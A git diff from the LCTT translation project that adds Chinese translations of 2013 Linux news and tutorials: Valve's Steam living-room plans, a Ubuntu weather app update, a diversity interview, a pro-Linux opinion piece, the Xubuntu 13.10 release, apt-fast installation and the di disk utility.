[LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[flsf](https://github.com/flsf) 校对:[jasminepeng](https://github.com/jasminepeng) + +[1]:http://pexpect.sourceforge.net/pxssh.html diff --git a/published/201310/Valve Revealing First Part of Linux Invasion on Monday.md b/published/201310/Valve Revealing First Part of Linux Invasion on Monday.md new file mode 100644 index 0000000000..3b76382db6 --- /dev/null +++ b/published/201310/Valve Revealing First Part of Linux Invasion on Monday.md @@ -0,0 +1,44 @@ +Valve 揭示进军Linux的首要工作 +============================== + +在星期一,Valve匆匆建起一个预报信息的网站,承诺将发布新信息。 + +![](http://media.bestofmicro.com/xi3-valve-piston-steambox,1-F-375891-1.jpg) + +仅仅在Gabe Newell暗示可能在下周揭示 Steam Box 几天之后,[Valve软件在星期五发送了这条链接][1]表示,Steam Universe 会在2014年进行扩展。在标题下方放置的是一个大屏的HDTV和一个炫目的网站门户--背景看起来像一个深蓝色的眼,在其下方有三个较小的门户,其中一个有一个倒计时器(在写这篇报道时还剩71个小时) + +“去年,我们发布了一个软件特征称作大屏幕,是一款为电视机和游戏控制器定制的用户接口,”这家公司表示,“今年,我们一直在努力找到更多方法来满足那些想把 Steam 搬到客厅的用户的需求。“我们很快就将让您加入到我们的设计过程中,让您来帮助我们构建 Steam 的未来。” + +Valve在邮件中说道,公司将谈到为促使 Steam 在电视机和客厅更易访问而正在进行的一系列步骤。根据网站第一个门户上的倒计时,首份通告会在星期一上午发布。也就是说,收藏这个链接以便在下周伊始可以看到公司店里有什么稀奇事物。 + +[在本周前几天的新奥尔良的LinuxCon会议中][2],Gabe Newell说道,Linux将是PC游戏的未来,因为不会再有封闭的网络;开源环境最终会为PC游戏玩家提供提供便宜的游戏平台,因为没有了附加的操作系统成本。在开放环境下升级也不再是问题--他指出 Apple 批准一款APP 升级就需要花费6个月的时间。 + +二月份 Valve 发行了一款单机版 Linux客户端,并添加了198个游戏到其Linux库中,充分证明了Valve 对 Linux 的尽心尽力。然而,Newell演示了在客厅Linux是怎样利消除带专有软件的硬件的复杂性的,暗示了基于Linux的 Stream Box 的可能性。游戏玩家希望他们的系统简单而且不会长期固定在特定的硬件上。 + +他指出将 Steam 引入到Linux“是给我们的开发合作伙伴的一个信号,说明我们对正在讨论的 Linux 事项是认真的。” 公司同时还在为LLDB调试器项目提供资金,并且正合作开发另外一个调试器。当前,[Linux游戏帐号还少于市场份额的1%][3],包括游戏玩家数、游戏时间和收益。Valve想要改变这一状况。 + +“到此为止感觉有些有趣,伙计们,告诉你们Linux和开源将会是游戏的未来,”Newell在走上台之后说。“有点像到罗马将给教皇教授天主教,忍受一下我吧。” + +围绕 Sream Box 的谣言集中在用户在必要的时候更新设备的能力,也是每个人确信Xi3公司的 Piston 是一款优秀设备的原因。但是了解这两家公司的人说在2013年1月电子产品展期间他们的关系结束了,留下我们猜想支持Valve 平台的将是什么。不过这家公司已经在过去声明了几次, Stream Box不会是一个特定硬件集合,而是更像是来自合作伙伴的多种硬件解决方案的认证方案。 + +“下周,我们将会公开我们关于客厅统一的更多信息,以及我们看到的将Linux带入客厅时硬件的机会和在不久的未来我们可以通过移动电话带来的更统一化的潜力.” + +期待星期一。 + + +--- + +via: http://www.tomshardware.com/news/valve-gabe-newell-steam-box-linux-monday,24342.html + +本文由 [LCTT][] 原创翻译,[Linux中国][] 荣誉推出 + +译者:[theo-l][] 校对:[jasminepeng][] + +[LCTT]:https://github.com/LCTT/TranslateProject +[Linux中国]:http://linux.cn/portal.php +[theo-l]:http://linux.cn/space/theo-l +[jasminepeng]:http://linux.cn/space/jasminepeng + +[1]:http://steampowered.com/livingroom +[2]:http://www.youtube.com/watch?v=Gzn6E2m3otg#t=1369 +[3]:http://arstechnica.com/gaming/2013/09/gabe-newell-linux-is-the-future-of-gaming-new-hardware-coming-soon/ diff --git a/published/201310/Weather App updated with subtle color refinements.md b/published/201310/Weather App updated with subtle color refinements.md new file mode 100644 index 0000000000..c82c7f998b --- /dev/null +++ b/published/201310/Weather App updated with subtle color refinements.md @@ -0,0 +1,41 @@ +Ubuntu天气预报软件细微的改进了颜色表现力 +================================= + +正如最近几个月所见,Ubuntu Converged已经有了大量的软件,这些软件涵盖了底层的系统服务,新的Unity 8界面程序和Ubuntu开发人员专用的应用程序,另外还有一些正由能力较强的第三方开发者、Ubuntu开发者和Ubuntu设计者通力合作来联合生产的[核心的应用][1]程序。 + +最近几周,[天气预报软件][2]已经有了很多的优化和改进,这些使该软件日趋完美的努力是为了在不久的将来提供一个稳定版本的天气预报应用。 + +天气预报应用程序自身支持多城市和丰富的天气数据,这些天气数据(比如说摄氏度)的表达和预先的颜色设定有关;比如,20摄氏度就用桔红色表示,而比较低的温度则用灰绿色表示。 + +现在,天气预报应用已经更新到了一个小而有趣的版本,该版本不仅修复了一些bug,同时也为在视觉上生动地渲染色调方面带来了更多的暗颜色。 + +也就是说,较高的温度(比如20摄氏度)仍然是与以前一样的桔红色,但是其色彩活力降低了亮度,同时也添加了细微但明显的暗色调。 + +以更多冷色调为特点的天气颜色比以前更加赏心悦目了。 + +![](http://iloveubuntu.net/pictures_me/ols%20vs%20new%20weather%20app.png) + +![](http://iloveubuntu.net/pictures_me/old%20vs%20new%202%20weather%20beijing.png) + +那么我们如何安装天气预报软件3.0呢? + +添加下面的官方PPA(Ubuntu 13.04,Ubuntu 13.10)就可以了。 + + sudo add-apt-repository ppa:ubuntu-sdk-team/ppa && sudo add-apt-repository ppa:ubuntu-touch-coreapps-drivers/daily + + sudo apt-get update + sudo apt-get install ubuntu-sdk ubuntu-weather-app + + +--- + +via: http://iloveubuntu.net/weather-app-updated-subtle-color-refinements + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Linchenguang](https://github.com/Linchenguang) 校对:[wxy](https://github.com/wxy) + + + +[1]:https://launchpad.net/ubuntu-phone-coreapps +[2]:https://launchpad.net/ubuntu-weather-app diff --git a/published/201310/When open source invests in diversity, everyone wins.md b/published/201310/When open source invests in diversity, everyone wins.md new file mode 100644 index 0000000000..29db2e3e0f --- /dev/null +++ b/published/201310/When open source invests in diversity, everyone wins.md @@ -0,0 +1,56 @@ +开源投资多元化,每个人都是赢家 +================================================================================ +![](http://opensource.com/sites/default/files/imagecache/image-full-size/images/business/BUSINESS_Results_Recos_LL.png) + +Jessica McKellar是一名企业家,软件工程师,同时也是开源领域的开发者。她协助管理Boston Python用户组,鼓励新手和女性加入,在推广开源多样性方面扮演着重要角色。两年来,用户组的参与率从不到2%上升到15%,这一点已持续了两年。 + +取得这样的成果,Jessica相信,如果开源社区在推广多元化上投资,每个人都将是受益者。招募新手,中级工作室,到后来推动开源事业高歌猛进,Boston Python用户组的规模扩大了五倍以上,从最初的700名成员发展到超过4000名成员。他们现在是世界上最大的Python用户组。这种增长模式是所有的开源社区都应该神往的。 + +让我们在这次采访中深入解读[Jessica McKellar][1]。 + +---------- + +###你进入开源社区多长时间了? 起步的时候有导师带你吗? + +我参与的第一个开源项目是在2009年Twisted项目中做些文档工作(Twisted是Python写的一个事件驱动的网络引擎),从此以后我就加入到这个项目中来,现在是核心人员,还写了一本关于Twisted 的书。 + +参与Twisted 的初始经历给我的感觉非常棒:社区给新手提供了详尽的文档,当我第一次磕磕绊绊使用工具的时候耐心地帮助我。我不会说,我有一个特定的导师,Twisted社区的集体帮助,还有评论者对我第一份作业耐心的反馈,这些都使我受益。 + +###自从你加入社区,你是怎样看到开源软件的发展的? + +接受多元化及推广多元性方面进步显著,尤其是针对不同背景的初学者的帮助。技术会议采纳了越来越多的行为准则, [GNOME Outreach Program for Women][3], [Python Software Foundation's][4]的推广和培训计划,还有PyCon's [Young Coders][5] 都是一些成功的范例,开源社区据此为自己打造出一个友好互助的环境。 + +###你正在积极参与Python社区。为什么会是Python? 对这门语言,最开始的时候你有什么样的经历? + +我第一次使用Python是在学校(我在MIT的时候刚好赶上核心计算机课程从Scheme语言转换到Python语言),之后的每次工作也都会用Python。用Python也做一些小的项目。我觉得用Python开发是挺快乐的一件事,除此之外,我还投资Python社区,是因为该社区为各种不同背景的人培养友好互助的氛围。 + +###关于Boston Python用户组增强多元性方面的工作,您和Asheesh Laroia在Pycon 2012大会上做了精彩的演讲。可以描述一下你们做了哪些工作吗? + +过去两年,为了使更多的女性进入本地Python社区,Boston Python定期举行一些活动。该渠道的第一步就是给第一次编程者提供一个实际动手的周末工作室,这样的活动我们已经举行了8次,超过400名女性参加。 + +我们这样做想要达到的目标: + +1. 使更多的女性进入到本地编程社区,在所有的用户组活动中女性参与者达到15%的既定比例。 +2. 让大家亲密接触本地社区中杰出的女程序媛。 +3. 为其他编程用户组开发资源,帮助他们举行属于他们自己的多元性推广活动。 + +在运行这些工作室之前,一次典型的Boston Python用户组活动女性参与比例大概只有不到2%。自从运行了这些工作室,通常的用户组活动女性参与者比例达到或者超过15%。这些大型活动吸引80-120人参与,这表明无论是女性参与者的比例还是绝对数量都有巨大的进步。甚至更为显著的是,这样的增长持续了整整两年。 + +推广最大的益处就在于,即使你所关注的是一个人数非常少的组织,也可以让其中的每个人都获益。运行这些引入工作室促使我们学会怎样真正的帮助初学者。我们还启动了一个每月举行一次的“Project Night”项目,作为引入工作室的后续工作,给初学者和中级水平的人一个学习和运用语言的机会,并且接受面对面指导。我们制定了课程和实习计划,该计划已经在全世界范围内得以执行。我们运行中级水平工作室,大力推进开源事业。通过所有的这些举措,用户组规模扩大了5倍,从700名成员上升到4000多,让我们成为世界上最大的Python用户组。 + +简而言之,如果你投资推广多元性,每个人都将是赢家。 + +-------------------------------------------------------------------------------- + +via: http://opensource.com/life/13/10/interview-jessica-mckellar + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[l3b2w1](https://github.com/l3b2w1) 校对:[jasminepeng](https://github.com/jasminepeng) + +[1]:http://web.mit.edu/jesstess/www/ +[2]:https://twistedmatrix.com/trac/ +[3]:https://wiki.gnome.org/OutreachProgramForWomen +[4]:http://www.python.org/psf/ +[5]:https://us.pycon.org/2013/events/letslearnpython/ +[6]:http://pyvideo.org/video/719/diversity-in-practice-how-the-boston-python-user diff --git "a/published/201310/Why I can\342\200\231t live without Linux.md" "b/published/201310/Why I can\342\200\231t live without Linux.md" new file mode 100644 index 0000000000..a54f42a725 --- /dev/null +++ "b/published/201310/Why I can\342\200\231t live without Linux.md" @@ -0,0 +1,112 @@ +【观点】离了Linux,我就活不了! +================================================================================ + +本文是为那些想要尝试Linux的用户所写,不过如果你已经是一名Linuxer,这里也有一些你应该知道并为之自豪的事实。 + +讨厌长篇大论?直接跳到最后的部分 “**所有内容的整理**”。 + +### 为什么我离不开Linux? ### + +我坚持这样认为有我自己的原因。每隔几天或几个月,我重启机器的时候,Linux的启动过程都令我陶醉,而你也许会惊奇大多数操作系统并不是这样的。 + +### 先想象一些场景:### + +1. 你的机器经常崩溃。 +2. 它慢的令人发指。 +3. 未经你允许,文件文件夹就自动建立/删除。 +4. 机器莫名其妙的关闭。 + +什么状况?真相只有一个!你中病毒了!而在Linux上,这样的情况几乎不会发生,甚至可以说"根本没有"。:) + +### 为什么/那又如何? ### + +再想象一下,此时此刻,有成百上千个人正在为Linux编写和检查代码,因此Linux一直在不断的发展壮大,而几乎全世界任何开发者都可以看到“代码写的是什么?”,甚至指出是否哪里有缺陷。 + +**1994年3月14日,Linux 1.0.0发布,那时它只有176250行代码。** + +**到了2013年,Linux 3.10发布时,它已经拥有15803499行代码。** + +另外一件事,是Linux的设计方式。不像其它一些操作系统,在Linux上,几乎所有的复杂任务都需要root权限。例如在windows上,你进入某些系统文件夹,删除了一些东西(为什么你会这么做呢?恩,也可能是病毒干的 —— 它们确实会这么干。另外,我见过有些人为了释放内存也会这么做)。虽然当时什么都没发生,但是在你下一次启动时...(这里我不敢再往下描述了)。而在Linux上,任何时候当你试图对系统干点什么,它都会提示你需要root密码。那如果我就是root用户,而我又把系统搞砸了,怎么办?这是最坏的情况,但是仍然会有很多人指导你如何修复它。 + +**当你在街上摔倒的时候,一群热心的陌生人跑过来帮助你,你会有什么感觉?爱和支持是无价的,你会感受的到!** + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/linux.png) + +**稳定性** - Linux机器可以无休止地运行下去。而通过一个简单的“uptime”命令就可以让你知道机器已经运行了多久。你永远不需要关机,设备基本上都是热插拔的。当然其它有的操作系统也可以报告运行时间,但是正如之前所说,Linux机器很少崩溃、蓝屏、死机:D,除非你有意要搞砸它。 + +老话说得好 “**Linux是很坚强的,除非,面对的是熊孩子!**” + +为了使机器远离病毒、木马,你需要做很多工作。一项研究表明,(在没有任何防护措施的情况下,)连接到网络之后,windows被入侵的平均时间是40分钟,而在Linux上 - 你就像老板一样什么都不用做,也就是说,在操作系统之外不需要安装任何东西(,黑客也无法入侵)。 + +**安全性增强** - Iptables。这个命令行工具用来设置防火墙是极好的。同样,还有许多其它创新工具,比如*端口试探(port knocking),chroot监狱(译者注:chroot是在unix系统的一个操作,用于改变当前程序及其子进程真实的磁盘根目录。改变根目录后的程序无法访问或命名正常路径下的文件。这样的根目录就叫做"chroot监狱(chroot jail,chroot prison)"——来自维基百科 )。 + +**SELinux** - 如果设置执行了SELinux,即使你赋予某个文件完全访问权限,其他人也无法访问。 + +其它操作系统的源代码仅仅是开发操作系统的人才可以看到,然而,对于Linux,每个人都可以访问源代码,这意味着发生错误的可能性很小。即使有一些错误发生,也可以及时修复。假如你受到了安全攻击,开发操作系统的公司可能会用一周甚至一个月时间发布一个补丁,这就意味着你的系统在这段时间仍然是脆弱的,但是Linux有不计其数的用户贡献以及积极参与,这是非常好的,不是更好,而是最好。 + +如果,假设操作系统公司不修复bug呢?之后会怎么样?恭喜,你只能与bug为伴了。然而在linux下,有许多人修复bug,或者如果你是一个很好的程序员,也许你应该自己修复它并且将其贡献到开源社区。 **予人玫瑰,手留余香!** + +当有这样一个免费且开源的优秀操作系统(Linux),为什么你还要花钱买一个呢?当你决定投奔开源,学习的机会将会非常多。如果你是一个好的程序员,你应该拿到开源代码,用你自己的方式构建它、设计它,按你自己的想法去使用它。 + +**全世界的开发人员用宝贵的时间和天才的头脑为你带来这一款“谁与争锋”的操作系统,它,就是Linux。** + +**没有crapware**(译者注: 附赠软件,是一个贬义的俚语) - 操作系统是开源的,那其它工具呢?没错,有非常多的工具也是开源的,可以供用户使用。而在其它操作统统中,大部分软件可能会要求你订购服务、升级/购买。更糟糕的是,在用了几天之后,你可能会发现这个玩意儿竟然只是30天的试用版。在这方面,Linux永远不会让你经历这样的沮丧。 + +**Linux还自带了预装应用程序,这样,简单几步安装之后就可以开始使用啦~** + +在linux上,大部分驱动是内核自带的,因此当使用一些硬件组件时你不必到处去寻找驱动程序。 + +如果你仅仅是一个普通的桌面用户,没有多少事情要用命令行(CLI)来做 - Linux拥有各种桌面环境供你选择,比如Gnome、KDE,没错,你可以称呼它为 "**新一代桌面环境**" + +你有没有体验过你的操作系统在运行一段时间后行动迟缓,而你只能通过重新安装系统解决这个问题。恩,试试Linux吧,你会感到惊喜的。它很多年一如既往运行飞快并且反应灵敏,这样,你就能专注于工作,而不用处理反应迟缓的操作系统。 + + +**没有后门(backdoor)** - 当你不了解一个操作系统的源代码时,你怎么能确保它没有后门呢?如果制造商公司留了一个隐秘的后门,当你连接到网络的时候,这会让你的隐私无所遁形。而在Linux上,任何东西都是开放的,因此没有后门可以隐藏在操作系统里。 + +这里还要谈另一个有趣的事:大部分使用windows的用户可能会有一个沮丧的事,就是当升级一些软件或者操作系统的时候需要重启机器。Linux不需要这样的重启。Linux是一个稳定的、完美运行多年也不需要重启的系统。 + +**让老机器品味重生** - Linux甚至可以在很老的硬件上完美运行。不像其它的操作系统,需要升级硬件才能使用。 + +### 所有内容的整理..### + +有免费的,为什么还要使用非法的(盗版) + +- 赋予老机器第二春 +- 开机很快 +- 随时更新 +- 没有垃圾软件 +- 没有后门 +- 没有病毒 +- 稳定性 +- 兼容性 +- 安全性能增强 +- 运行快,反应灵敏 +- Linux不需要碎片整理 +- 额,选择Linux确实对环境有影响. (Google it) +- 自由无限的支持 - 论坛、邮件列表、IRC频道 +- 工作区特性 - 下一代桌面 +- 没有大麻烦 +- 报告bug并得到修复 +- 你不会感到孤单 +- 我贡献,我快乐,予人玫瑰,手留余香 +- 其它操作系统归公司所有,微软拥有Windows,苹果拥有Mac-OS。Linux?我们拥有! + +总之,不仅仅是阅读这篇文章,你一定要亲自试试看,品味这种感觉 - 自由无价。 + +对我来说, **linuxing 是沉思**。 你呢? :) + +**如果同意我的观点,cheers!现在是该把Linux(这杯美酒)“倾入”你的杯中慢慢“品味”了。** + +**如果不同意我的观点,再一次cheers。你可以用各种方法来证明我是错的。** + +Google 一下"linuxing urban dictionary”(译者注:urban dictionary是一个专供网友发表一些特殊单词或短语解释的平台,这上面有许多正常词典里面查不到的词条,即使是正常词典里面有的,在这里也会有新的精辟解释。网友们还可以对每一个词条进行投票)。 + +感谢阅读。来,笑一个 :D Cheers! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/cant-live-without-linux/ + +译者:[flsf](https://github.com/flsf) 校对:[Caroline](https://github.com/carolinewuyan) ,[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201310/Xubuntu 13.10 (Saucy Salamander) Officially Released.md b/published/201310/Xubuntu 13.10 (Saucy Salamander) Officially Released.md new file mode 100644 index 0000000000..efd7127ccf --- /dev/null +++ b/published/201310/Xubuntu 13.10 (Saucy Salamander) Officially Released.md @@ -0,0 +1,31 @@ +Xubuntu 13.10 (Saucy Salamander-活泼的蝾螈)正式发行 +===== + + +![](http://i1-news.softpedia-static.com/images/news-700/Xubuntu-13-10-Saucy-Salamander-Officially-Released.jpg) +**Canonical已宣布Xubuntu 13.10(Saucy Salamander)操作系统现可正式下载。** + +Xubuntu 13.10 (Saucy Salamander)已经与其他所有发行版一起发布,但是并没有在以前的版本基础上有重大改进。可是,用户仍应当尽快升级。 + +根据更新日志,一个新版本的xfce4-settings带来了一个新的对话框来设置你的显示器,同样也带来了一款简单改变你的主题色彩的工具,gtk-theme-config已添加到默认安装中,仅仅例举几项改变。 + +从13.04开始,Xubuntu的镜像就放不进一个普通的CD了。安装Xubuntu,你将需要其他介质,例如,USB设备或DVD。 + +你可以在[官方公告][1]中查看更多关于这个发行版的信息。 + +下载Xubuntu 13.10 (Saucy Salamander): + +- [Xubuntu 13.10 (ISO) 32-bit][2][iso] [834 MB] +- [Xubuntu 13.10 (ISO) 64-bit][3][iso] [842 MB] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Xubuntu-13-10-Saucy-Salamander-Officially-Released-392132.shtml + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +译者:[Vito](https://github.com/vito-L) 校对:[Caroline](https://github.com/carolinewuyan) + +[1]:https://wiki.ubuntu.com/SaucySalamander/ReleaseNotes/Xubuntu +[2]:http://cdimage.ubuntu.com/xubuntu/releases/13.10/release/xubuntu-13.10-desktop-i386.iso +[3]:http://cdimage.ubuntu.com/xubuntu/releases/13.10/release/xubuntu-13.10-desktop-amd64.iso diff --git a/published/201310/apt-fast--Improve apt-get Download Speed.md b/published/201310/apt-fast--Improve apt-get Download Speed.md new file mode 100644 index 0000000000..45265668f0 --- /dev/null +++ b/published/201310/apt-fast--Improve apt-get Download Speed.md @@ -0,0 +1,79 @@ +apt-fast:飞一般的apt-get +============================ + +apt-fast是一个为 **apt-get** 和 **aptitude** 做的“ **shell脚本封装** ”,通过对每个包进行并发下载的方式可以大大减少APT的下载时间。apt-fast使用aria2c或axel下载管理器来减少APT下载时间。就像传统的apt-get包管理器一样,apt-fast支持几乎所有的apt-get功能,如, **install** , **remove** , **update** , **upgrade** , **dist-upgrade** 等等,并且更重要的是它也支持proxy。 + +###在Ubuntu上安装apt-fast + +使用以下PPA去安装apt-fast。apt-fast开发者说:“ **一些发行版,如PCLinux已经在他们默认的仓库中包括了apt-fast** 。” 我希望它将来也包含在Ubuntu/Debian的默认仓库中。 + +添加apt-fast的PPA,在终端中输入以下命令。 + + sudo add-apt-repository ppa:apt-fast/stable + +用命令更新源: + + sudo apt-get update + +使用命令安装apt-fast: + + sudo apt-get install apt-fast + +在安装期间,它将要求你输入下载包的最大链接数。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/sk@sk-_003.png) + +在下一个对话框里面,会问你是否要禁止apt-fast的确认对话框。选择No并继续安装。如果你选择Yes,apt-fast在安装软件包时不会问你确认与否。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/sk@sk-_0041.png) + +我发现 **aria2** 下载管理器已经随着apt-fast的安装而自动安装。所以,你不必单独安装aria2。 + +如果你想重新配置apt-fast选项,你可以使用命令: + + sudo dpkg-reconfigure apt-fast + +###用法 + +与apt-get功能相似,我们可以使用: + + apt-fast install package + + apt-fast remove package + + apt-fast update + + apt-fast upgrade + + apt-fast dist-upgrade + +及更多命令。 + +工作中的apt-fast包管理器: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/10/sk@sk-_0051.png) + +###创建别名(可选) + +编辑 **~/.bashrc** 文件在末尾添加下面这行。 + + alias apt-get='apt-fast' + +或者简单运行以下命令在你的 **~/.bashrc** 中添加它。 + + sudo echo "alias apt-get='apt-fast'" >> ~/.bashrc + +从现在每当你运行apt-get命令去移除,更新和升级包时,它将在后台自动使用apt-fast。听起来很酷吧? + +在测试期间,当下载包时我发现它与apt-get相比非常快。试一试,你一定会赞同我的看法。感谢阅读!! + +------- + +via: http://www.unixmen.com/improve-apt-get-download-speed-apt-fast/ + +译者:[Vito](https://github.com/Vito) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + + +[1]:https://github.com/ilikenwf/apt-fast diff --git "a/published/201310/di \342\200\223 Disk Information Utility, Better Than df.md" "b/published/201310/di \342\200\223 Disk Information Utility, Better Than df.md" new file mode 100644 index 0000000000..a6ec2d4c91 --- /dev/null +++ "b/published/201310/di \342\200\223 Disk Information Utility, Better Than df.md" @@ -0,0 +1,263 @@ +di - 比 df 更有用的磁盘信息工具 +=========================== + +如果你是个Linux命令行用户,你肯定会使用df命令检查文件系统的磁盘使用情况。尽管df是一个受欢迎的命令,但仍然不能提供一些高级的功能,如一个用户实际的磁盘可用空间,以及各种有用的显示格式等。还有另一个命令行实用工具可用,不仅提供了这些高级功能也提供了df的所有特性。在本文中,我们将讨论磁盘信息工具 -- **di** + +**注释** - 如果你想了解 df 更多信息, 查看 [df命令教程][1]. + +## di - 磁盘信息工具 + +![](http://mylinuxbook.com/wp-content/uploads/2013/10/di-main.png) + +从这个di帮助手册页很明显的发现 di 提供了一些很有价值的特性,值得一试。让我们看一些这个工具实际使用的例子。 + +### 测试环境 + +- OS – Ubuntu 13.04 +- Shell – Bash 4.2.45 +- Application – di 4.30 + +## 一个简短的教程 + +下面是一些 di 工具的示例: + +###1. 默认的输出 + +默认情况下di命令生成人们易读的输出格式 + +这里有个示例: + + $ di + Filesystem Mount Size Used Avail %Used fs Type + /dev/sda6 / 28.1G 20.2G 6.5G 77% ext4 + udev /dev 1.5G 0.0G 1.5G 0% devtmpfs + tmpfs /run 300.2M 0.9M 299.3M 0% tmpfs + +所以你能发现用千兆字节(G)和兆字节(M)做磁盘使用情况的数据单位。这绝对是比 df 默认的输出产生的效果好。(译注:df也可以输出带类似单位的显示,只是需要额外加参数 -h) + +###2. 用 -A 选项打印类似挂载点、特殊设备名称等全部字段 + +选项 -A可以用来极详细的打印挂载点,特殊设备名称等。 + +这里有个示例: + + $ di -A + Mount fs Type Filesystem + Options + Size Used Free %Used %Free + Size Used Avail %Used %Free + Size Used Avail %Used + Inodes Iused Ifree %Iused + / ext4 /dev/sda6 + rw,errors=remount-ro + 28.1G 20.2G 8.0G 72% 28% + 28.1G 21.6G 6.5G 77% 23% + 26.7G 20.2G 6.5G 75% + 1884160 389881 1494279 21% + /dev devtmpfs udev + rw,mode=0755 + 1.5G 0.0G 1.5G 0% 100% + 1.5G 0.0G 1.5G 0% 100% + 1.5G 0.0G 1.5G 0% + 381805 571 381234 0% + /run tmpfs tmpfs + rw,noexec,nosuid,size=10%,mode=0755 + 300.2M 0.9M 299.3M 0% 100% + 300.2M 0.9M 299.3M 0% 100% + 300.2M 0.9M 299.3M 0% + 384191 549 383642 0% + +所以你可以看到所有的字段,可以用于调试目的时打印输出。 + +###3. 用 -a选项打印所有挂载设备 + +这里是个示例: + + $ di -a + Filesystem Mount Size Used Avail %Used fs Type + /dev/sda6 / 28.1G 20.2G 6.5G 77% ext4 + udev /dev 1.5G 0.0G 1.5G 0% devtmpfs + devpts /dev/pts 0.0M 0.0M 0.0M 0% devpts + proc /proc 0.0M 0.0M 0.0M 0% proc + binfmt_misc /proc/sys/fs/bi 0.0M 0.0M 0.0M 0% binfmt_misc + tmpfs /run 300.2M 0.9M 299.3M 0% tmpfs + none /run/lock 0.0M 0.0M 0.0M 0% tmpfs + none /run/shm 0.0M 0.0M 0.0M 0% tmpfs + none /run/user 0.0M 0.0M 0.0M 0% tmpfs + gvfsd-fuse /run/user/himan 0.0M 0.0M 0.0M 0% fuse.gvfsd-fuse + sysfs /sys 0.0M 0.0M 0.0M 0% sysfs + none /sys/fs/cgroup 0.0M 0.0M 0.0M 0% tmpfs + none /sys/fs/fuse/co 0.0M 0.0M 0.0M 0% fusectl + none /sys/kernel/deb 0.0M 0.0M 0.0M 0% debugfs + none /sys/kernel/sec 0.0M 0.0M 0.0M 0% securityfs + +所以你能看到与所有设备相关的所有信息,被打印出来了。 + +###4. 用 -c 选项用逗号作为值的分隔符 + +选项 -c 用命令分隔的值将附上双引号 + +这里是个示例: + + $ di -c + s,m,b,u,v,p,T + /dev/sda6,/,28.1G,20.2G,6.5G,77%,ext4 + udev,/dev,1.5G,0.0G,1.5G,0%,devtmpfs + tmpfs,/run,300.2M,0.9M,299.3M,0%,tmpfs + +如上,你可以看到打印了用逗号分隔符输出的值。(译注:这种输出便于作为其他程序的输入解析) + +###5. 用 -g 选项通过千兆字节(G)打印大小 + +下面是个示例: + + $ di -g + Filesystem Mount Gibis Used Avail %Used fs Type + /dev/sda6 / 28.1 20.2 6.5 77% ext4 + udev /dev 1.5 0.0 1.5 0% devtmpfs + tmpfs /run 0.3 0.0 0.3 0% tmpfs + +当然,你能看到所有与大小有关的值都用千兆字节(G)打印出来。 + +同样的你可以用 -k 和 -m 选项来分别的显示千字节(K)大小和兆字节(M)大小。 + +###6. 通过 -I 选项显示特定的文件系统类型的相关信息 + +假设你想显示只跟tmpfs文件系统相关的信息。下面将告诉你如何用 -I 选项完成任务。 + + $ di -I tmpfs + Filesystem Mount Size Used Avail %Used fs Type + tmpfs /run 300.2M 0.9M 299.3M 0% tmpfs + none /run/lock 5.0M 0.0M 5.0M 0% tmpfs + none /run/shm 1.5G 0.0G 1.5G 0% tmpfs + none /run/user 100.0M 0.0M 100.0M 0% tmpfs + none /sys/fs/cgroup 0.0M 0.0M 0.0M 0% tmpfs + +Ok 你能看到只有tmpfs类型相关文件系统信息被输出并显示出来了。 + +###7. 用 -n 选项跳过标题行的输出 + +如果你正试图通过一个脚本(或程序)解析该命令的输出结果并希望 di 命令跳过显示的标题行,那么用 -n 选项是绝佳的方法。 + +下面是个示例: + + $ di -n + /dev/sda6 / 28.1G 20.2G 6.5G 77% ext4 + udev /dev 1.5G 0.0G 1.5G 0% devtmpfs + tmpfs /run 300.2M 0.9M 299.3M 0% tmpfs + +如上,你能发现输出中并没有显示标题行。 + +###8. 通过 -t 选项在文件系统列表底下再打印一行总计行 + +如果想要显示所有相关列的总数,用 -t 选项。 + +示例: + + $ di -t + Filesystem Mount Size Used Avail %Used fs Type + /dev/sda6 / 28.1G 20.2G 6.5G 77% ext4 + udev /dev 1.5G 0.0G 1.5G 0% devtmpfs + tmpfs /run 300.2M 0.9M 299.3M 0% tmpfs + Total 29.9G 20.2G 8.3G 72% + +观察到最后一行的值为所有文件系统的统计数据。 + +###9. 通过 -s 选项 排序输出 + +-s选项可用于排序该命令的输出结果(译注:默认按照挂载点名称排序) + +下面告诉你如何反向排序输出: + + $ di -sr + Filesystem Mount Size Used Avail %Used fs Type + tmpfs /run 300.2M 0.9M 299.3M 0% tmpfs + udev /dev 1.5G 0.0G 1.5G 0% devtmpfs + /dev/sda6 / 28.1G 20.2G 6.5G 77% ext4 + +你也可以在-s后添加子选项'r'逆序排序输出。 + +类似的,你可以使用 -s 选项做一些其他类型的排序.以下是摘自man手册供您参考: + + -s 排序方式 + + 可以指定排序方式。默认排序方式的按照挂载点的名称进行排序。支持如下的排序方式: + m :按照挂载点名称排序(默认) + n :不排序(即按照在挂载表/etc/fstab中的顺序) + s :按照特殊设备名称 + t :按照文件系统类型 + r :逆序排序 + + 排序方式可以组合使用,如: di --stsrm :按照类型、设备、挂载点逆序排序。di --strsrm :按照类型、设备逆序、挂载点逆序排序。 + + +###10. 通过 -f 选项指定输出格式 + +你可以通过结合-f选项和其子选项指定输出格式字符串。 + +例如,用 -fm,打印挂载点的名称。 + +示例: + + $ di -fm + Mount + / + /dev + /run + +如上你可以看到只有挂载点的名字被打印出来。 + +同样的,打印文件系统的类型,用 -ft + +示例: + + $ di -ft + fsType + ext4 + devtmpf + tmpfs + +如果你想快速查找,这里有个其他可用的格式选项截图. + 